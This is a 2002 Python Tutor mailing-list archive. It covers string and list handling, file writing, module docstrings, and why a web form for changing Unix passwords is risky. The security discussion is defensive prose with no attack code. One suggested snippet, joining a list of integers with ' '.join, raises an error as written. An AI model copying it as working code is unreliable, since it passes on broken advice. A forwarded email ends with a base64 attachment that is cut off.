	You are absolutely right.  I was trying to change the second character of a string contained at map[y_box][x_box].  Along with renaming my map, I'll find another way to do it...

- Chris




From shalehperry@attbi.com  Mon Feb 11 17:55:28 2002
From: shalehperry@attbi.com (Sean 'Shaleh' Perry)
Date: Mon, 11 Feb 2002 09:55:28 -0800 (PST)
Subject: [Tutor] passwords
In-Reply-To: <3C674160.60D1D569@netzero.net>
Message-ID: <XFMail.20020211095528.shalehperry@attbi.com>

> 
> so far the only things in python dealing with paswords GET them from
> the user and compare them to the stored password for equality.
> 

you need a python way to call the system set password functions.  Somebody
probably already did this work, you just need to find it.


From scarblac@pino.selwerd.nl  Mon Feb 11 18:01:16 2002
From: scarblac@pino.selwerd.nl (Remco Gerlich)
Date: Mon, 11 Feb 2002 19:01:16 +0100
Subject: [Tutor] passwords
In-Reply-To: <3C674160.60D1D569@netzero.net>; from idiot1@netzero.net on Sun, Feb 10, 2002 at 10:58:24PM -0500
References: <3C674160.60D1D569@netzero.net>
Message-ID: <20020211190115.A3717@pino.selwerd.nl>

On  0, kirk Bailey <idiot1@netzero.net> wrote:
> OK, I want to be able to change paswords.
> 
> no kidding unix shell passwords. wencrypted in the database of all
> users in critter.
> 
> I want to do it with a form feeding to a script. accountname,
> oldpassword, oldpassword, newpassword.

There are many security problems with this that I can think of immediately
(see below). I don't believe this is the sort of thing you should want to
code, and it's quite probable that there is no existing Python library for
it.

> the data to be changed in a FreeBSD server is encrypted, in a colon
> delinieated database, normally modified with 'vipw'. 'vi' is a major
> editor with the capacity to access this file, decrypt it, edit the
> stuff, recrypt it, and save it. vipw is a shortcut that fires it up
> with all the path, filename, and special flags for this special task.

'vipw' actually does one important thing extra: it locks the file it is
working on. Nothing else will be able to change the passwd file while you
are editing it, as long as it obeys file locks. So you'd need to lock it
from the script as well.

I hope the passwords aren't stored in your /etc/passwd, but in /etc/shadow.
Otherwise, it's probably quite easy to crack them.

> I already know about the passwd command, it is interactive. IT talks
> back, I bet that could bark at the script real fine.
> 
> so far the only things in python dealing with paswords GET them from
> the user and compare them to the stored password for equality.
> 
> any advice?

This script would need to run with root permissions. Running any suid root
program from a web form is asking for trouble.

More specifically, running a *script* (text file with #! line) as suid root
is a known security issue, to do with the time lag between the kernel
reading the #! line, and Python reading the file. I don't know about
FreeBSD, but Linux doesn't even allow suid scripts because of that - you'd
need to write it in a compiled language that doesn't have this particular
problem.

Web forms send the info over the net as plain text. This can be sniffed too
easily.

You'd need specific protection against someone trying to brute force a
password by brute force sending forms with different passwords.

If your web server is cracked, the page with the form can be replaced by one
which sends the form info to somewhere else, so the cracker receives the
password info.

Even if this is not possible, someone could change browser settings at a
*user's* computer, so they get a page that looks like the change password
page but actually sends the info to the cracker (for instance by configuring
a proxy). This is usually very easy.

Form contents may be cached on the user's computer.



In short, I don't think it's a great idea. There is a reason why the passwd
command is strictly interactive. But if you are certain you can find a
solution for all these problems, especially those of sending the data in
encrypted form and using foolproof authentication, then surely you can code
the calls to change the shadow file by yourself :-)

-- 
Remco Gerlich


From jack@oratrix.com  Mon Feb 11 10:29:04 2002
From: jack@oratrix.com (Jack Jansen)
Date: Mon, 11 Feb 2002 11:29:04 +0100
Subject: [Pythonmac-SIG] Re: [Tutor] making an alias of a folder
In-Reply-To: <Pine.LNX.4.21.0202101920230.20702-100000@hkn.eecs.berkeley.edu>
Message-ID: <2C5ABB21-1EDA-11D6-8176-0030655234CE@oratrix.com>

I was going to point you to the convenience routine 
macostools.mkalias(src, dst), until I tried it and noticed it didn't 
work for folders:-(

I've filed a sourceforge bug report (#515830), you may want to monitor 
this if you're interested in when this is fixed.

On Monday, February 11, 2002, at 04:23 , Danny Yoo wrote:

> On Sun, 10 Feb 2002, Christopher Smith wrote:
>
>> I think I put this request out before but haven't received any
>> replies...perhaps there is someone new on the list that could help:
>>
>> Does anyone have a piece of code that successfully makes an alias of a
>> folder on the MacOS?
>
> Hello!
>
> First, I'd better admit I'm clueless about this one... *grin* You might 
> be
> able to find something in here:
>
>     http://www.python.org/doc/current/mac/mac.html
>
> I don't have a Macintosh available at the moment, so I can't test this,
> but I believe that the macfs.NewAliasMinimalFromFullPath() is the 
> function
> that you're looking for:
>
>     http://www.python.org/doc/current/mac/module-macfs.html
>
>
> Good luck to you!
>
>
> _______________________________________________
> Pythonmac-SIG maillist  -  Pythonmac-SIG@python.org
> http://mail.python.org/mailman/listinfo/pythonmac-sig
>
--
- Jack Jansen        <Jack.Jansen@oratrix.com>        
http://www.cwi.nl/~jack -
- If I can't dance I don't want to be part of your revolution -- Emma 
Goldman -



From dyoo@hkn.eecs.berkeley.edu  Mon Feb 11 18:21:07 2002
From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo)
Date: Mon, 11 Feb 2002 10:21:07 -0800 (PST)
Subject: [Tutor] Re: Changing a list item in place
In-Reply-To: <F081X21IGZWZX32DB75B973VU4XJG21.3c680579@cmccormickl>
Message-ID: <Pine.LNX.4.21.0202111015280.5934-100000@hkn.eecs.berkeley.edu>

On Mon, 11 Feb 2002, Chris McCormick wrote:

> 	You are absolutely right.  I was trying to change the second
> character of a string contained at map[y_box][x_box].  Along with
> renaming my map, I'll find another way to do it...

By the way, if we want to be able to fiddle around with the individual
characters of strings, we'll find it easier to do if we convert the string
to a list:

###
>>> greeting = 'hallo'
>>> greeting_list = list(greeting)
###


Once we have a list representation of our string, we can fiddle around
with it, like this:

###
>>> greeting_list[1] = 'e'
>>> greeting = str(greeting_list)
>>> greeting
"['h', 'e', 'l', 'l', 'o']"                        ## Yikes!
>>> greeting = string.join(greeting_list, '')
>>> greeting
'hello'                                            ## That's better.
###


Always useful to know if we plan to do small string surgery soon.  *grin*



From dyoo@hkn.eecs.berkeley.edu  Mon Feb 11 18:33:57 2002
From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo)
Date: Mon, 11 Feb 2002 10:33:57 -0800 (PST)
Subject: [Tutor] passwords
In-Reply-To: <3C674160.60D1D569@netzero.net>
Message-ID: <Pine.LNX.4.21.0202111021410.5934-100000@hkn.eecs.berkeley.edu>

On Sun, 10 Feb 2002, kirk Bailey wrote:

> no kidding unix shell passwords. wencrypted in the database of all
> users in critter.

By the way: many Unix systems will often keep the passwords in a separate
file called '/etc/shadow' for security reasons.  If you see that your
/etc/passwd file has no passwords in it, then this is a sign that your
system is using the shadow password system.



> I already know about the passwd command, it is interactive. IT talks
> back, I bet that could bark at the script real fine.

You may want to be careful that, at most, only one program is touching the
password file at any given time.  The 'vipw' appears to do this, but I'd
have to look at its source code to see how it's doing it.



> so far the only things in python dealing with paswords GET them from
> the user and compare them to the stored password for equality.

You'll want to look at:

    http://www.python.org/doc/lib/module-crypt.html

for information on the crypt() function.  crypt() provides access to the
password-making function your system uses to transform plaintext
passwords.


Good luck to you!



From jeff@ccvcorp.com  Mon Feb 11 19:00:05 2002
From: jeff@ccvcorp.com (Jeff Shannon)
Date: Mon, 11 Feb 2002 11:00:05 -0800
Subject: [Tutor] Problems changing a list item in place ?
References: <E16aJp9-00047i-00@mail.python.org>
Message-ID: <3C6814B5.B98C0F45@ccvcorp.com>


> "Chris McCormick" <cmccormick@thestate.com> wrote:
>
> Hello all,
>     I have a program with a two-dimensional list called map.  After it has already been populated, I want to do this:
>
>      map[y_box][x_box][0] = selected_tile
>
>      But I get this error:
>
>    File "map_edit.py", line 270, in main
>     map[y_box][x_box][0] = selected_tile                        # Change value of the tile
> TypeError: object doesn't support item assignment
>
>   y_box and x_box are indexes; the statement "print map[y_box][x_box]" works fine.  selected_tile is just an integer, though it shouldn't matter.
>
> I thought you could change list items in-place by assignment.  Are multi-dimensional lists different?

No, but your assignment statement is trying to access a *third* dimension of your list.  The question is, what is present at map[y_box][x_box] ?? (In
other words, what's printed out when you 'print map[y_box][x_box]'?)  My guess is that you're trying to assign to an individual element of an
integer, which doesn't have individual elements.  :)  If that's the case, then all you need to do is eliminate the [0] on the left-hand-side of your
assignment--in other words, use this:

map[y_box][x_box] = selected_tile

If this doesn't do what you expect, then try posting a bit more code--specifically, let us see what you've actually got in your 2D list.

Jeff Shannon
Technician/Programmer
Credit International




From jeff@ccvcorp.com  Mon Feb 11 19:13:56 2002
From: jeff@ccvcorp.com (Jeff Shannon)
Date: Mon, 11 Feb 2002 11:13:56 -0800
Subject: [Tutor] really dumb questions
References: <E16aHgZ-00033g-00@mail.python.org>
Message-ID: <3C6817F3.8B8FB608@ccvcorp.com>

> > >>> scooby_file=open("scooby.txt","w")
> > >>> scooby_file.writelines(["Scooby","Dooby","Doo"])
> > >>> scooby_file.close()
> >
> > Yields the file scooby.txt with the following data in it:
> > ScoobyDoobyDoo
>
> And if you want it on separate lines just add a '\n' to
> each item:
>
> f.writelines(map(lambda s: s+'\n', ["Scooby", "Dooby", "Doo"]))
>
> > for item in [1,2,3]:
> >     print item,           #don't miss that comma on the end,
>
> But he asked for f.write not print so...
>
> s = ''
> for item in [1,2,3]:
>     s = s+str(item) # just convert to a string and concatenate
> f.write(s)          # then write the final string

For both of these, I'd use string.join() (or its string method equivalent):

f.write( '\n'.join( ['Scooby', 'Dooby', 'Doo'] ) )
# equivalent-- f.write( string.join( ['Scooby', 'Dooby', 'Doo'], '\n' ) )

f.write( ' '.join( [1,2,3] ) )
# equivalent-- f.write( string.join( [1, 2, 3], ' ') )
# or also -- f.write( string.join( [1, 2, 3] ) )  # ' ' is the default


> > 'x' thing? You've lost me there.
>
> Its the backtick technique for converting to a string.
>
> > current_time=time.time()
> > time_file.write(str(current_time))
>
> Yep, just like that... Do you see a trend yet?

Backticks ( `x` ) are equivalent to repr(x), and I'd think that str(x) would be better to use for most of these circumstances.  I'd only use backticks/repr() for debugging and internal purposes;  if I want to write something that is intended for human consumption, str() is the better bet.
Often they yield the same results, but in those cases where there *is* a difference, str() is intended to be more reader-friendly, while repr() is intended to allow the object to be reproduced from the string returned.


> > ...the first element of sys.argv should give you
> > what you want. ie.:
> >
> > import sys
> > program_name=sys.argv[0]
>
> And you could use the os.path functions to prepend
> the current directory if desired.
>
> prog_path = os.path.join(os.getcwd(),sys.argv[0])

It should also work (though also untested ;) ) to use abspath() --

prog_path = os.path.abspath(sys.argv[0])

This should (I think) work even if someone has called the script with an absolute path, from a different working directory...

Jeff Shannon
Technician/Programmer
Credit International




From jeff@ccvcorp.com  Mon Feb 11 19:27:59 2002
From: jeff@ccvcorp.com (Jeff Shannon)
Date: Mon, 11 Feb 2002 11:27:59 -0800
Subject: [Tutor] Nested loops/test conditions
References: <E16a3JH-0001YK-00@mail.python.org>
Message-ID: <3C681B3E.FE93F947@ccvcorp.com>

> Chris Keelan <rufmetal@rogers.com> wrote:
>
> def fix_string(badString):     # need this to strip newlines, etc. from a
> readline()
>     goodString = string.split(badString)
>     goodString = string.join(goodString)
>     return goodString

This is a *very* inefficient way to strip newlines.  Depending on your needs, you
can probably do what you want with a simple

goodstring = string.rstrip(badstring)

This will remove all whitespace (space, tab, newline) from the right side of
badstring.  (string.strip() will remove it from both sides.)  This is more-or-less
equivalent to what you're doing already, and will be *much* faster.  (Note also
that for Python 2.x, 'goodstring = badstring.strip()' is also equivalent.)

If you think that you may have significant whitespace at the end of strings, and
want to remove *only* the newline character at the very end, you can do something
like:

def fix_string(badstring):
    if badstring[-1:] == '\n':
    #or (2.x)--    if badstring.endswith('\n'):
        return badstring[:-1]
    else:
        return badstring

This checks to see if the last character of the string is a newline, and if so,
returns everything *except* that newline.  If there is no newline at the end, then
the string is returned unchanged.  Using slice notation on the test line prevents
this from blowing up when passed an empty string.  (There was a long discussion on
comp.lang.python, recently, about how best to emulate Perl's chomp function; this
was one of (well... two of) the best contenders.)

Jeff Shannon
Technician/Programmer
Credit International




From dyoo@hkn.eecs.berkeley.edu  Mon Feb 11 21:21:05 2002
From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo)
Date: Mon, 11 Feb 2002 13:21:05 -0800 (PST)
Subject: [Tutor] passwords
In-Reply-To: <20020211190115.A3717@pino.selwerd.nl>
Message-ID: <Pine.LNX.4.21.0202111035100.5934-100000@hkn.eecs.berkeley.edu>

On Mon, 11 Feb 2002, Remco Gerlich wrote:

> If your web server is cracked, the page with the form can be replaced
> by one which sends the form info to somewhere else, so the cracker
> receives the password info.
> 
> Even if this is not possible, someone could change browser settings at
> a *user's* computer, so they get a page that looks like the change
> password page but actually sends the info to the cracker (for instance
> by configuring a proxy). This is usually very easy.
> 
> Form contents may be cached on the user's computer.


A non-Python solution might involve remote access with SSH.  There's a
Java ssh applet called 'Mindterm' that you can embed in your web page ---
this may be a better approach, since the applet has more control over the
information going through the network.  Take a look at:

    http://www.appgate.org/mindterm/

for details on Mindterm.

Hope this helps!



From lbergman@abi.tconline.net  Mon Feb 11 21:02:13 2002
From: lbergman@abi.tconline.net (Lewis Bergman)
Date: Mon, 11 Feb 2002 15:02:13 -0600
Subject: [Tutor] passwords
Message-ID: <200202112102.g1BL2Dw28958@lewis.abi.tconline.net>

OK, word of warning
I have only been at python for about three weeks so listen at your own risk.

The first program I made uses libxmlrpc and SimpleXMLRPCServer to manage many 
different machines password and shadow password files along with things like 
RADIUS db records from a single point. While this works, it is full of 
dangerous implications. 

It does this with spawnv and it's P_WAIT option (so I can get the status code 
back) from the os module. I also used the crypt module to encrypt the 
passwords before writing them so I could use the useradd command with the -p 
switch instead of having to interact with the passwd command with some kind 
of expect deal.

I found an abandoned project very useful in this. In fact, I rewote all but 
one function from the ground up but the clues in that project were 
invaluable. I would also suggest getting the shadow source files so you can 
see exactly what the return codes are so you can program with appropriate 
responses in mind.

Hope this helps.
-- 
Lewis Bergman
Texas Communications
4309 Maple St.
Abilene, TX 79602-8044
915-695-6962 ext 115


From lbergman@abi.tconline.net  Mon Feb 11 21:03:45 2002
From: lbergman@abi.tconline.net (Lewis Bergman)
Date: Mon, 11 Feb 2002 15:03:45 -0600
Subject: [Tutor] passwords
In-Reply-To: <3C674160.60D1D569@netzero.net>
References: <3C674160.60D1D569@netzero.net>
Message-ID: <200202112103.g1BL3jU28962@lewis.abi.tconline.net>

OK, word of warning
I have only been at python for about three weeks so listen at your own risk.

The first program I made uses libxmlrpc and SimpleXMLRPCServer to manage many 
different machines password and shadow password files along with things like 
RADIUS db records from a single point. While this works, it is full of 
dangerous implications. 

It does this with spawnv and it's P_WAIT option (so I can get the status code 
back) from the os module. I also used the crypt module to encrypt the 
passwords before writing them so I could use the useradd command with the -p 
switch instead of having to interact with the passwd command with some kind 
of expect deal.

I found an abandoned project very useful in this. In fact, I rewote all but 
one function from the ground up but the clues in that project were 
invaluable. I would also suggest getting the shadow source files so you can 
see exactly what the return codes are so you can program with appropriate 
responses in mind.

Hope this helps.

-- 
Lewis Bergman
Texas Communications
4309 Maple St.
Abilene, TX 79602-8044
915-695-6962 ext 115



From fallen@leveltwo.com  Mon Feb 11 22:36:51 2002
From: fallen@leveltwo.com (Fred Allen)
Date: Mon, 11 Feb 2002 14:36:51 -0800
Subject: [Tutor] FunctionType list from ModuleType Attributes
Message-ID: <4BB02C541824D311921600902765DB7B445C42@LTISERVER>

Dear Tutors,

I am contemplating a small program to read a module file and print the
module's __doc__ text (if any) and, then, print all comprised functions'
func_doc text.

My design requires I either recast a module name from ModuleType (module
name) to StringType or vice versa, or a FunctionType (function name) to a
StringType or vice versa.  I cannot seem to find means for any of these
operations described in the documentation.   They are surely no-brainers,
leaving my ego a bit rumpled.  With advance thanks for any help, I am,

Gratefully,

Fred Allen






From paulsid@shaw.ca  Mon Feb 11 23:39:21 2002
From: paulsid@shaw.ca (Paul Sidorsky)
Date: Mon, 11 Feb 2002 16:39:21 -0700
Subject: [Tutor] Nested loops/test conditions
References: <E16a3JH-0001YK-00@mail.python.org> <3C681B3E.FE93F947@ccvcorp.com>
Message-ID: <3C685629.C9B4AAE8@shaw.ca>

Jeff Shannon wrote:

> > def fix_string(badString):     # need this to strip newlines, etc. from a
> > readline()
> >     goodString = string.split(badString)
> >     goodString = string.join(goodString)
> >     return goodString
> 
> This is a *very* inefficient way to strip newlines.  

It's also not sound in that it won't necessarily preserve the whitespace
in the middle.  Usually this is undesired but there are times when it
can be useful to "normalize" a string, e.g.:

"This	is   an  	ugly string" becomes:
"This is an ugly string"

Of course it would be a bit more compact to use string member functions
(2.x):

def normalize_string(s):
    return " ".join(s.split())

Anyhow, just thought I'd point this out.  Sometimes bits of code that
don't do what they're intended to do end up doing something else that is
quite interesting in and of itself.  :-)

-- 
======================================================================
Paul Sidorsky                                          Calgary, Canada
paulsid@shaw.ca                        http://members.shaw.ca/paulsid/


From scarblac@pino.selwerd.nl  Tue Feb 12 00:14:03 2002
From: scarblac@pino.selwerd.nl (Remco Gerlich)
Date: Tue, 12 Feb 2002 01:14:03 +0100
Subject: [Tutor] FunctionType list from ModuleType Attributes
In-Reply-To: <4BB02C541824D311921600902765DB7B445C42@LTISERVER>; from fallen@leveltwo.com on Mon, Feb 11, 2002 at 02:36:51PM -0800
References: <4BB02C541824D311921600902765DB7B445C42@LTISERVER>
Message-ID: <20020212011403.A4293@pino.selwerd.nl>

On  0, Fred Allen <fallen@leveltwo.com> wrote:
> Dear Tutors,
> 
> I am contemplating a small program to read a module file and print the
> module's __doc__ text (if any) and, then, print all comprised functions'
> func_doc text.
> 
> My design requires I either recast a module name from ModuleType (module
> name) to StringType or vice versa, or a FunctionType (function name) to a
> StringType or vice versa.  I cannot seem to find means for any of these
> operations described in the documentation.   They are surely no-brainers,
> leaving my ego a bit rumpled.  With advance thanks for any help, I am,

Modules have a name, stored in mod.__name__ . Try e.g.
>>> import os
>>> print os.__name__
os
>>>

Although functions don't strictly have a name, if you need a description
that includes the likely name (but it may be wrong), try str(f) for a
function f.

Easiest however would be to use a for loop over the names in dir(module),
then you alread know what the function is called in the module.

-- 
Remco Gerlich


From dyoo@hkn.eecs.berkeley.edu  Tue Feb 12 00:52:48 2002
From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo)
Date: Mon, 11 Feb 2002 16:52:48 -0800 (PST)
Subject: [Tutor] FunctionType list from ModuleType Attributes
In-Reply-To: <20020212011403.A4293@pino.selwerd.nl>
Message-ID: <Pine.LNX.4.21.0202111648010.20853-100000@hkn.eecs.berkeley.edu>

On Tue, 12 Feb 2002, Remco Gerlich wrote:

> On  0, Fred Allen <fallen@leveltwo.com> wrote:
> > Dear Tutors,
> > 
> > I am contemplating a small program to read a module file and print the
> > module's __doc__ text (if any) and, then, print all comprised functions'
> > func_doc text.
> > 
> > My design requires I either recast a module name from ModuleType (module
> > name) to StringType or vice versa, or a FunctionType (function name) to a
> > StringType or vice versa.  I cannot seem to find means for any of these
> > operations described in the documentation.   They are surely no-brainers,
> > leaving my ego a bit rumpled.  With advance thanks for any help, I am,
> 
> Modules have a name, stored in mod.__name__ . Try e.g.
> >>> import os
> >>> print os.__name__
> os
> >>>
> 
> Although functions don't strictly have a name, if you need a description
> that includes the likely name (but it may be wrong), try str(f) for a
> function f.
> 
> Easiest however would be to use a for loop over the names in
> dir(module), then you alread know what the function is called in the
> module.


The 'inspect' module might be very useful useful here: it has a few
utility functions in there to extract docstrings from all things in a
module:

    http://www.python.org/doc/lib/inspect-types.html


Here's an example of how 'inspect' can help:

###
>>> functions = inspect.getmembers(string, inspect.isfunction)
>>> docs = {}
>>> for name, object in functions: docs[name] = object.__doc__
... 
>>> docs['strip']
'strip(s) -> string\n\n    Return a copy of the string s with leading and
trailing\n    whitespace removed.\n\n    '
n###


Good luck to you!



From idiot1@netzero.net  Tue Feb 12 06:01:17 2002
From: idiot1@netzero.net (kirk Bailey)
Date: Tue, 12 Feb 2002 01:01:17 -0500
Subject: [Tutor] [Fwd: [testlist3] attachment's testing]
Message-ID: <3C68AFAD.61438614@netzero.net>

Very intresting.

I sent a letter to the test list ('testlist3') and attached a copy of
counter.1.0.0.tat.gz to it. below is the reulting email coming back to
me.

Hmmm.... If I can crunch this right, I can place the footers where
they SHOULD be, and still handle attachments without a hiccup- thereby
outperforming just about every other list server on the market today.
Hmmm... need to think about this... anyone else out there intrested in
sticking their fingers into THIS pie???


-------- Original Message --------
Subject: [testlist3] attachment's testing
Date: Tue, 12 Feb 2002 00:45:27 -0500 (EST)
From: kirk Bailey <idiot1@netzero.net>
To: testlist3@tinylist.org

This is a multi-part message in MIME format.
--------------210EBB413004DA0DA95BECB2
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

test.
-- 
 
end
	    Respectfully,
			Kirk D Bailey

+---------------------"Thou Art Free." -Eris----------------------+
| http://www.howlermonkey.net mailto:highprimate@howlermonkey.net |
| http://www.tinylist.org  +--------+  mailto:grumpy@tinylist.org |
+------------------Thinking| NORMAL |Thinking---------------------+
                           +--------+
--------------210EBB413004DA0DA95BECB2
Content-Type: application/x-gzip;
 name="counter.1.0.0.tar.gz"
Content-Transfer-Encoding: base64
Content-Disposition: inline;
 filename="counter.1.0.0.tar.gz"

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
